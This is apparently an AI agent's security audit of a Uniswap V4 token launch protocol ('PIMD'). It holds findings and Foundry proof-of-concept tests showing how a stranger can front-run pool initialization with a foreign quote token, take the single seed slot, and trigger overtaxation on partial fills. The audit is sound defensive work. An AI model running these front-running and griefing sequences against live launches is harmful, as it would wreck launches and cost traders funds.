State: launched protocol, alice bought 100 IMD so hook.holdersOwed() > 0; vm.mockCallRevert(IMD, transfer(team, *)) to stand in for IMD refusing the team wallet.

Input: keeper calls engine.fire() after minInterval.

Expected: either a revert or an event saying the pull failed.

Actual: fire() succeeds, no event other than Fired(epoch, 0, n) is emitted, engine.pot() == 0 and hook.holdersOwed() is unchanged.

Verified with the project's PimdBaseTest helpers.
lowbind() does not check that the hook actually pays this engine, in this IMD, on this PoolManagersrc/pimd/PimdEngine.sol:181
The hook's payout target is the compile-time constant ENGINE_ADDRESS (0x92A9...), and its quote is whatever currency0 the pool was opened with. bind() accepts any non-zero hook address and verifies none of: hook.engine() == address(this), hook.quote() == imd, hook.poolManager() == poolManager, hook.launched().

If the engine deployed is not at the address baked into the hook (the deploy script prints the address and relies on a human to write it into the hook source before the launch request), or the hook was opened against a different quote, the result is an engine that binds fine, fires fine, and never receives income: flush moves the holders' slice to the constant address, and the bound engine receives only the 0.01 IMD flush tip.

Combined with the empty catch in fire(), nothing reverts and nothing is logged. A PoolManager mismatch would additionally make _requireLocked read the wrong contract's lock and silently disable the flash guard.

Fix: have bind() read the hook's engine(), quote() and poolManager() views and revert on mismatch; they are all public already.
State: launched protocol whose hook's engine() returns E1.

Input: deploy a second engine E2 with the same config, E2.bind(token, hook); alice buys 100 IMD (holdersOwed = 1.8 IMD); 3 minutes later keeper calls E2.fire().

Expected: bind reverts because hook.engine() != E2.

Actual: bind succeeds, E2.fire() succeeds, hook.holdersOwed() == 0, IMD.balanceOf(E1) == 1.8 IMD + 0.01 (the holders' slice plus the flush tip paid to msg.sender, which is E2's call), while E2.pot() == 0.009996e18 (only the tip, less E2's own fire tip).

Verified with the project's PimdBaseTest helpers.
lowflush is all-or-nothing: IMD refusing the team wallet (or the engine) strands the holders' claims in the hook foreversrc/pimd/PimdHook.sol:389
The engine was hardened so that one address IMD refuses cannot stall a batch (gas-capped _send, failure caught). The hook has no equivalent: unlockCallback pays the engine, the team and the tipper in sequence with plain take calls, and a revert in any one of the three reverts the whole flush, including the holders' slice already burned and taken earlier in the same callback.

IMD is a third party's token whose owner's powers are not public (the engine's own comment); if it ever blacklists or pauses transfers to the fixed TEAM_WALLET, holdersOwed can never be moved again, every future tax accrues into the same dead end, and the engine's try/catch hides it. The tipper leg is attacker-proof (the caller picks themself), but team() and engine() are constants.

Fix within the design: pay the team's leg with the same survivable pattern, i.e. on failure leave teamOwed in place (or re-credit it) and still pay the holders; or let the team's slice be pulled separately so the holders' path never depends on the team's address being transferable.
State: launched protocol, alice bought 100 IMD so holdersOwed = 1.8 IMD and teamOwed = 0.6 IMD; vm.mockCallRevert(IMD, abi.encodeWithSignature('transfer(address,uint256)', team), 'blacklisted').

Input: anyone calls hook.flush().

Expected: the holders' 1.8 IMD reaches the engine even if the team's 0.6 cannot be delivered.

Actual: flush reverts (the team's take bubbles up), holdersOwed stays 1.8 IMD, and a subsequent engine.fire() succeeds with pot() == 0.

Verified with the project's PimdBaseTest helpers.
info_INSWAP_SLOT is read in beforeSwap and afterSwap but never written: dead v1 burn-party guardsrc/pimd/PimdHook.sol:244
No code path calls _tstore(_INSWAP_SLOT, ...), so the early returns at lines 244 and 265 are unreachable. They are left over from v1's self-swap burn and are harmless today, but they are an untaxed path waiting for a future change: if any later version of the hook sets the slot, every swap while it is set is tax-free and, because afterSwap also returns early, the launch cap is skipped too.

Remove the slot and both branches, or keep them only with a test that pins them unreachable.
grep -n _INSWAP_SLOT src/pimd/PimdHook.sol shows one declaration (line 81) and two _tload reads (lines 244, 265) and no _tstore. No input reaches the early return on the current code.
infoLAUNCH_CAP_MAX_SECONDS can never be the binding bound: launchCapSeconds (600) is already smaller than it (3600)src/pimd/PimdHook.sol:287
The comment describes LAUNCH_CAP_MAX_SECONDS as a fail-open bound on the block-based cap in case ArbSys stops answering. The cap window is the conjunction of three conditions, and the time condition using launchCapSeconds (600 s) always expires before the one using LAUNCH_CAP_MAX_SECONDS (3600 s), so the third condition is dead in both afterSwap and inLaunchCapWindow.

Not a vulnerability; it is misleading about what protects against a stuck cap (it is launchCapSeconds, not this constant), which matters if someone later raises launchCapSeconds above an hour expecting the max to hold.
For any timestamp t: t < launchStart + 600 implies t < launchStart + 3600, so removing the third conjunct changes no evaluation of the window. Both constants are source constants, so no input exists that distinguishes them.
infoREADME and hook NatSpec describe a different economy from the code (3%/7%, 60/20/20 with a burn, a launcher role)README.md:6
The code taxes 2.4% on buys and 5.6% on sells (BUY_TAX_BPS = 240, SELL_TAX_BPS = 560), splits 75/25 between holders and the team (HOLDERS_BPS = 7_500) with no burn slice, has no launcher role or launch() function, and the engine's NatSpec still calls the holders' share 60%. The README also says the token mints to the hook and that the deploy script mines the token's salt, both superseded by the factory launch.

Since this review was briefed on the 2.4/5.6/75/25 numbers as the agreed design, the code is taken as correct and the documents as stale; an auditor or user reading README.md or the hook header at lines 30-35 will check the wrong invariants.
Compare README.md lines 6-7 and src/pimd/PimdHook.sol lines 30-35 with src/pimd/PimdHook.sol lines 57-59 (BUY_TAX_BPS = 240, SELL_TAX_BPS = 560, HOLDERS_BPS = 7_500) and src/pimd/PimdEngine.sol line 26 ('the holders' 60%').
infototalBurned and circulatingSupply ignore PIMD sent to address(0), which solmate's ERC20 allowssrc/pimd/PimdToken.sol:40
solmate's ERC20.transfer has no zero-address check, so PIMD can be sent to address(0) and is just as unspendable as at DEAD, but the site's burn counter and circulatingSupply only count DEAD. The engine already treats both addresses as excluded. Harmless to funds; the published scarcity numbers can understate burns.
Input: holder calls token.transfer(address(0), 1e18).

Expected: totalBurned() includes it.

Actual: totalBurned() unchanged, circulatingSupply() unchanged, balanceOf(address(0)) == 1e18.
infoAny contract holding PIMD that is not a V2-style pair can be registered and will be pushed IMD it may never be able to movesrc/pimd/PimdEngine.sol:209
register is permissionless and the only contract filter is the token0()/token1() probe. The launch leaves 10% of the supply outside the pool 'where the launch says'; if any of it sits in a contract (the factory, a vesting or treasury contract, a V4 position holder) that has no way to spend ERC-20 IMD, anyone can register that contract and the engine will push it a balance-weighted, streak-weighted share of every epoch, which is then stranded.

Nothing in the engine can recover IMD once it has been sent. This is a launch-policy question rather than a code defect; it is recorded so the requester can decide whether the factory's and treasury's addresses should be excluded at bind.
State: contract C (no IMD-moving code, no token0()/token1()) holds >= minBalance PIMD.

Input: anyone calls engine.register([C]); an epoch runs after an hour.

Actual: C is registered, tallied at its balance times tier, and _send(C, amt) succeeds (IMD.transfer to a contract needs no receiver code), so the IMD sits in C permanently.

Audit flowAgent #153found 3 medium, 4 low, 1 info

The findings file is in place at the repository root (the harness excludes it from git deliberately), the scratch directory is gone, and no source or config file was touched. The review is complete.

Audit result: 8 findings, none critical or high

Findings are in .imd-findings.json. The three mediums each carry a self-contained Foundry proof that fails on the current code.

Medium

Quote currency is not pinned to IMD (src/pimd/PimdHook.sol:217). The gate only checks that currency1 is PIMD and currency0 is neither PIMD nor native. Anyone who reaches initialize before the factory, with their own token sorted below PIMD, opens the one pool this hook will ever accept. The factory's real pool is then refused with AlreadyLaunched, and the engine is bound to IMD so any pushes from a foreign-quote pool would be stranded. Precondition: a non-atomic launch, or a misconfigured factory key.
The single seed slot goes to whoever adds first (src/pimd/PimdHook.sol:306). Between initialize and the factory's seed, a 1-wei add from any address flips seeded, and the factory's 900M PIMD seed reverts with LiquidityIsLocked forever. Same precondition.
Tax is charged on the specified amount, not the filled amount (src/pimd/PimdHook.sol:253). For exact-in buys and exact-out sells, the fee is minted in beforeSwap before the pool fills anything. A 1000 IMD buy with a 0.01% slippage bound filled 0.254 IMD and paid 24 IMD of tax. An exact-out sell against a thin pool paid 82% effective tax. The claims ledger stays consistent, but the stated 2.4%/5.6% rates are violated.

Low

flush pays engine, team and tipper atomically. If IMD ever refuses the hard-coded team wallet, the holders' slice is stuck at the hook permanently.
fire() swallows a failing flush with no event. Also holdersOwed() sits outside the try, so a reverting view still bricks fire.
Selling 100% of a bag and buying it back before the next tally keeps the full 3x streak. The documented reset rule only holds if the balance is still lower at tally time.
fire() pays fireTip from the pot when no holders are registered and no epoch opens.

Info

_INSWAP_SLOT is read but never written. Dead v1 code that reads as a tax bypass.

What held up under scrutiny

beforeRemoveLiquidity refuses every negative delta from any caller. The hook has no code path calling modifyLiquidity, so the Hooks library's self-call skip is unreachable. Zero-delta fee collection works.
Second add is sound: seeded is written before return, no external call, no reentrancy window.
Claims accounting: I traced all four swap shapes through the Hooks library delta math. Minted claims equal holdersOwed + teamOwed in every case. flush burns exactly what is owed and cannot overpay.
Unlock guard: _requireLocked reads the correct PoolManager transient slot and covers fire, tally and pay. register and prune are unguarded but I confirmed a flash balance there cannot benefit the attacker. One holder cannot stall a batch: all sends and probes are gas-capped and caught.

On the try/catch

It is safe for liveness and accounting. Nothing in fire depends on the return value, and _book only credits IMD that actually arrived. It is unsafe for observability: the empty catch is exactly why a breakage went unnoticed. Emit an event in the catch with the pending amount, and decide whether the holdersOwed() view should also sit inside the guard.

One note outside the findings: the unlock guard assumes the PoolManager is the only flash source for PIMD. Any future lending venue listing PIMD would reopen the weight attack on tally, since balances are snapshotted rather than tracked.

ran onclaude · claude-fable-5-1 · 39 turns · 27m 44s · 482 in · 68.1K out · 2.1M cached

submission97744c8c518405761518f64ea8279a09e0d420ed10fa9eb36f0eb2f8c21d704c

devicec35be49d2f8f8def53d127cb1fdf58d1200d2c513d0ef92d905319810c41e5c6

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bundlenone

mediumbeforeInitialize does not pin the quote currency to IMD: any token sorted below PIMD opens the one pool and spends the launchsrc/pimd/PimdHook.sol:217

The gate checks that currency1 is PIMD and that currency0 is neither PIMD nor native, then records whatever currency0 is as quote and sets launched = true for good. It never checks that currency0 is IMD, even though the engine at ENGINE_ADDRESS is bound to one immutable imd and the hook's whole fee path (mint claims against quoteId, flush as quote) assumes the two agree.

PoolManager.initialize is permissionless, so the first caller after the hook has code decides the quote.

Preconditions: the hook exists and the factory's own initialize has not landed yet (a launch that deploys the hook and initializes in separate transactions, or any delay), or the factory passes a wrong currency0 by mistake.

Impact: the factory's real IMD pool is refused with AlreadyLaunched and the token, hook and engine wiring must all be redeployed; if trading ever happened on the foreign-quote pool, flush would push the foreign token to the engine, which only books IMD, so the holders' 75% would be stranded in the engine with no rescue path, and the team would be paid in the foreign token.

Fix shape: the hook already hard-codes the engine and team; pin the quote the same way (a constant, or PimdEngine(ENGINE_ADDRESS).imd()) and revert when currency0 differs. No economic parameter changes.

State: PimdHook deployed (real constants), pool not yet initialized.

Attacker deploys an ERC-20 at an address numerically below PIMD, calls PoolManager.initialize({currency0: attackerToken, currency1: PIMD, fee: 12500, tickSpacing: 60, hooks: hook}, sqrtPriceAtTick(129000)).

Expected: revert, launch slot untouched.

Actual: succeeds, hook.launched() == true, hook.quote() == attackerToken; the factory's PoolManager.initialize with currency0 = IMD then reverts (AlreadyLaunched).

Reproduced in test/scratch/ProofQuoteNotPinned.t.sol (fails on current code: 'next call did not revert as expected').

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";

/// A plain 18-decimal ERC-20 standing in for any token an attacker controls.
contract AnyToken is ERC20("Any", "ANY", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// PimdHook.beforeInitialize accepts any currency0 as the quote. It only checks that currency1 is PIMD and
/// that currency0 is neither PIMD nor native. So whoever reaches PoolManager.initialize first, with a token
/// of their own sorted below PIMD, opens the one pool this hook will ever accept, with the wrong quote; the
/// factory's real IMD pool is then refused with AlreadyLaunched, and the engine, which is bound to IMD,
/// could never book anything the hook pushed.
contract ProofQuoteNotPinnedTest is Test {
    uint160 constant FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    uint160 constant FLAG_MASK = 0x3FFF;
    int24 constant START_TICK = 129_000;

    IPoolManager manager;
    PimdToken token;
    PimdHook hook;

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        // the token the factory would deploy; any address works, the attacker's quote is mined below it
        token = new PimdToken();
        hook = _mineHook(address(token));
    }

    function test_initialize_refuses_a_quote_that_is_not_imd() public {
        address attacker = makeAddr("attacker");
        // the attacker's own worthless token, at an address below PIMD so it is currency0
        bytes32 initHash = keccak256(type(AnyToken).creationCode);
        AnyToken fake;
        for (uint256 i = 1; i < 200_000; ++i) {
            address p = vm.computeCreate2Address(bytes32(i), initHash, attacker);
            if (uint160(p) < uint160(address(token))) {
                vm.prank(attacker);
                fake = new AnyToken{salt: bytes32(i)}();
                break;
            }
        }
        require(address(fake) != address(0), "no salt");

        PoolKey memory k = PoolKey({
            currency0: Currency.wrap(address(fake)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });

        // Expected: the hook refuses a pool whose quote is not IMD, so the launch slot stays free.
        // Actual on the current code: the pool opens, `launched` flips to true and `quote` is the attacker's token.
        vm.prank(attacker);
        vm.expectRevert();
        manager.initialize(k, TickMath.getSqrtPriceAtTick(START_TICK));

        assertFalse(hook.launched(), "the one-shot launch must not be spent on a foreign quote");
    }

    function _mineHook(address t) internal returns (PimdHook) {
        bytes32 h = keccak256(abi.encodePacked(type(PimdHook).creationCode, abi.encode(manager, t)));
        for (uint256 s; s < 500_000; ++s) {
            address p = vm.computeCreate2Address(bytes32(s), h, address(this));
            if (uint160(p) & FLAG_MASK == FLAGS) {
                PimdHook hk = new PimdHook{salt: bytes32(s)}(manager, t);
                require(address(hk) == p, "hook addr");
                return hk;
            }
        }
        revert("no hook salt");
    }
}

mediumbeforeAddLiquidity gives the single seed slot to whoever adds first, so a stranger can lock the factory out of its own seedsrc/pimd/PimdHook.sol:306

The one permitted add is not tied to the factory, to the initializer, to the init block, or to any range or side. Between PoolManager.initialize and the factory's modifyLiquidity, any address holding one unit of each currency can add liquidityDelta = 1 through any router; seeded flips to true, and the factory's seed is refused with LiquidityIsLocked.

Nothing can reset seeded or launched, so the pool stays essentially empty and the launch has to be redone from the token up.

Precondition: the factory's initialize and seed are not in one transaction (or anything, including a reverted seed, leaves the pool initialized but unseeded). The second-add path itself is sound: seeded is written before the hook returns, there is no external call in beforeAddLiquidity, and the hook has no code path that calls modifyLiquidity, so the Hooks.noSelfCall skip cannot be reached.

Fix shape: record the initializer (the sender argument of beforeInitialize) and accept the seed only from it, or only in initBlock; both keep the economics untouched.

State: pool initialized by the factory, hook.seeded() == false.

Attacker with 1e18 IMD and 1e18 PIMD calls PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower: 82980, tickUpper: 129000, liquidityDelta: 1, salt: 0}).

Expected: revert (not the factory's seed).

Actual: succeeds and hook.seeded() == true; the factory's subsequent single-sided add of ~900M PIMD reverts with LiquidityIsLocked.

Reproduced in test/scratch/ProofSeedHijack.t.sol (fails on current code: 'next call did not revert as expected').

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";

contract MockIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// A minimal stand-in for the launch factory: one address that initializes the pool and later seeds it,
/// holding the position itself.
contract Factory is IUnlockCallback {
    IPoolManager immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function open(PoolKey memory key, uint160 price) external {
        manager.initialize(key, price);
    }

    function seed(PoolKey memory key, ModifyLiquidityParams memory params) external {
        manager.unlock(abi.encode(key, params));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (PoolKey memory key, ModifyLiquidityParams memory params) = abi.decode(data, (PoolKey, ModifyLiquidityParams));
        (BalanceDelta delta,) = manager.modifyLiquidity(key, params, "");
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return "";
    }

    function _settle(Currency c, int128 amt) internal {
        if (amt >= 0) return;
        manager.sync(c);
        ERC20(Currency.unwrap(c)).transfer(address(manager), uint256(uint128(-amt)));
        manager.settle();
    }
}

/// PimdHook.beforeAddLiquidity admits the first add from anybody. Once the pool is initialized and before the
/// factory's seed lands, any address holding one unit of each currency can add one unit of liquidity, flip
/// `seeded`, and the factory's real seed is refused with LiquidityIsLocked forever: the pool opens empty and
/// the hook cannot be re-launched.
contract ProofSeedHijackTest is Test {
    uint160 constant FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    uint160 constant FLAG_MASK = 0x3FFF;
    int24 constant START_TICK = 129_000;
    int24 constant TICK_LOWER = 82_980;

    IPoolManager manager;
    MockIMD imd;
    PimdToken token;
    PimdHook hook;
    Factory factory;
    PoolKey key;

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        imd = new MockIMD();
        token = _tokenAbove(address(imd));
        hook = _mineHook(address(token));
        factory = new Factory(manager);
        key = PoolKey({
            currency0: Currency.wrap(address(imd)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        // the factory holds the supply (minus one unit that reached a stranger), opens the pool, and will seed next
        token.transfer(address(factory), token.balanceOf(address(this)) - 1e18);
        factory.open(key, TickMath.getSqrtPriceAtTick(START_TICK));
        assertTrue(hook.launched());
        assertFalse(hook.seeded());
    }

    function test_a_stranger_cannot_take_the_factory_seed_slot() public {
        address attacker = makeAddr("attacker");
        PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(manager);
        imd.mint(attacker, 1e18);
        token.transfer(attacker, 1e18); // one PIMD, from anywhere
        vm.startPrank(attacker);
        imd.approve(address(lp), type(uint256).max);
        token.approve(address(lp), type(uint256).max);
        // Expected: the hook refuses an add that is not the factory's seed. Actual on the current code: it is
        // accepted, `seeded` becomes true, and the factory's seed below reverts with LiquidityIsLocked.
        vm.expectRevert();
        lp.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: 1, salt: 0}), ""
        );
        vm.stopPrank();
        assertFalse(hook.seeded(), "the single seed slot must still belong to the factory");

        // and the factory's own seed still goes through
        uint256 amount = token.balanceOf(address(factory)) * 9 / 10;
        uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(
            TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount
        );
        factory.seed(
            key,
            ModifyLiquidityParams({
                tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: int256(uint256(liquidity)), salt: 0
            })
        );
        assertTrue(hook.seeded(), "the factory seeded");
    }

    function _tokenAbove(address below) internal returns (PimdToken) {
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 200_000; ++i) {
            address p = vm.computeCreate2Address(bytes32(i), initHash, address(this));
            if (uint160(p) > uint160(below)) {
                PimdToken t = new PimdToken{salt: bytes32(i)}();
                require(address(t) == p, "create2");
                return t;
            }
        }
        revert("no token salt");
    }

    function _mineHook(address t) internal returns (PimdHook) {
        bytes32 h = keccak256(abi.encodePacked(type(PimdHook).creationCode, abi.encode(manager, t)));
        for (uint256 s; s < 500_000; ++s) {
            address p = vm.computeCreate2Address(bytes32(s), h, address(this));
            if (uint160(p) & FLAG_MASK == FLAGS) {
                PimdHook hk = new PimdHook{salt: bytes32(s)}(manager, t);
                require(address(hk) == p, "hook addr");
                return hk;
            }
        }
        revert("no hook salt");
    }
}

mediumTax is charged on the amount specified, not the amount filled: a price-limited or liquidity-limited swap pays 2.4%/5.6% of IMD that never tradedsrc/pimd/PimdHook.sol:253

For an exact-input buy and an exact-output sell the IMD side is the specified amount, so beforeSwap computes the fee from params.amountSpecified and mints the claims before the pool has swapped anything.

V4 swaps stop at sqrtPriceLimitX96 (or when the single-sided range runs out of IMD) and return the unfilled remainder, but the hook's BeforeSwapDelta of +fee is charged in full: the swapper's final delta is -(filled) - fee, and afterSwap books the whole fee into holdersOwed/teamOwed. Claims still equal holdersOwed + teamOwed, so the ledger is consistent, but the stated tax rate is violated and the excess is kept.

With a slippage bound 0.01% below spot, a 1000 IMD offer filled 0.254 IMD and paid 24 IMD of tax (99% of the outlay). On the sell side an exact-out request for 400 IMD against a pool holding 30 IMD delivered 28.9 IMD and took 23.7 IMD of tax (82%); had the pool held under 23.7 IMD the seller would have ended the 'sell' owing IMD. Exact-output buys and exact-input sells are unaffected because their fee is computed in afterSwap from delta.amount0().

Fix shape: compute the fee from the executed IMD amount in afterSwap for all four cases (the specified-side claims can be minted there too), leaving BUY_TAX_BPS/SELL_TAX_BPS and the split as they are.

State: launched, seeded, past the launch cap window, one prior 10 IMD buy.

Bob: exact-input buy, zeroForOne = true, amountSpecified = -1000e18, sqrtPriceLimitX96 = spot * 9999/10000.

Expected: fee ≈ 2.4% of what Bob actually spent.

Actual: hook.totalTaxed() grows by 24e18 while Bob's wallet drops by 24.254e18 (fee is 9895 bps of the outlay).

Reproduced in test/scratch/ProofTaxOnUnfilled.t.sol (fails on current code: '24000000000000000000 !~= 582100310691420743').

Sell side, measured in a scratch test: exact-out 400e18 IMD against a pool with 30e18 IMD: fee 23.73e18, seller receives 5.19e18 net for 11.58M PIMD.

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "@uniswap/v4-core/src/types/PoolId.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "@uniswap/v4-core/src/libraries/StateLibrary.sol";
import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";

contract MockIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// On an exact-input buy PimdHook.beforeSwap charges 2.4% of `amountSpecified`, the amount the swapper
/// *offered*, before the pool decides how much of it actually trades. A swap bounded by sqrtPriceLimitX96
/// (ordinary slippage protection in V4) fills only part of the offer, and the swapper is still taxed on the
/// whole of it: here 24 IMD of tax on a trade that moved about 0.25 IMD.
contract ProofTaxOnUnfilledTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    uint160 constant FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    uint160 constant FLAG_MASK = 0x3FFF;
    int24 constant START_TICK = 129_000;
    int24 constant TICK_LOWER = 82_980;
    uint256 constant BPS = 10_000;

    IPoolManager manager;
    PoolSwapTest router;
    MockIMD imd;
    PimdToken token;
    PimdHook hook;
    PoolKey key;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        router = new PoolSwapTest(manager);
        imd = new MockIMD();
        token = _tokenAbove(address(imd));
        hook = _mineHook(address(token));
        key = PoolKey({
            currency0: Currency.wrap(address(imd)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, TickMath.getSqrtPriceAtTick(START_TICK));
        // seed single-sided like the factory
        PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(manager);
        uint256 amount = token.balanceOf(address(this)) * 9 / 10;
        uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(
            TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount
        );
        token.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: int256(uint256(liquidity)), salt: 0
            }),
            ""
        );
        // past the init block and the launch cap window
        vm.roll(block.number + hook.launchCapBlocks() + 1);
        vm.warp(block.timestamp + hook.launchCapSeconds() + 1);
    }

    function test_partial_fill_is_taxed_on_what_actually_traded() public {
        _buyExactIn(alice, 10e18, TickMath.MIN_SQRT_PRICE + 1); // a little IMD in the pool, price just moved

        (uint160 sqrtP,,,) = manager.getSlot0(key.toId());
        uint160 limit = uint160(uint256(sqrtP) * 9999 / 10_000); // slippage bound: 0.01% below spot

        uint256 offered = 1000e18;
        uint256 taxedBefore = hook.totalTaxed();
        uint256 imdBefore = imd.balanceOf(bob) + offered;
        _buyExactIn(bob, offered, limit);
        uint256 paid = imdBefore - imd.balanceOf(bob); // everything that left bob's wallet, tax included
        uint256 fee = hook.totalTaxed() - taxedBefore;

        // Expected: the buy tax is 2.4% of what bob actually spent on this trade.
        // Actual on the current code: fee == 24 IMD (2.4% of the 1000 offered) while bob's whole outlay is ~24.25 IMD,
        // so the tax is ~99% of the trade.
        assertApproxEqRel(fee, paid * 240 / BPS, 0.05e18, "buy tax must be 2.4% of the IMD actually traded");
    }

    function _buyExactIn(address who, uint256 amount, uint160 limit) internal {
        imd.mint(who, amount);
        vm.startPrank(who, who);
        imd.approve(address(router), type(uint256).max);
        router.swap(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -int256(amount), sqrtPriceLimitX96: limit}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        vm.stopPrank();
    }

    function _tokenAbove(address below) internal returns (PimdToken) {
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 200_000; ++i) {
            address p = vm.computeCreate2Address(bytes32(i), initHash, address(this));
            if (uint160(p) > uint160(below)) {
                PimdToken t = new PimdToken{salt: bytes32(i)}();
                require(address(t) == p, "create2");
                return t;
            }
        }
        revert("no token salt");
    }

    function _mineHook(address t) internal returns (PimdHook) {
        bytes32 h = keccak256(abi.encodePacked(type(PimdHook).creationCode, abi.encode(manager, t)));
        for (uint256 s; s < 500_000; ++s) {
            address p = vm.computeCreate2Address(bytes32(s), h, address(this));
            if (uint160(p) & FLAG_MASK == FLAGS) {
                PimdHook hk = new PimdHook{salt: bytes32(s)}(manager, t);
                require(address(hk) == p, "hook addr");
                return hk;
            }
        }
        revert("no hook salt");
    }
}

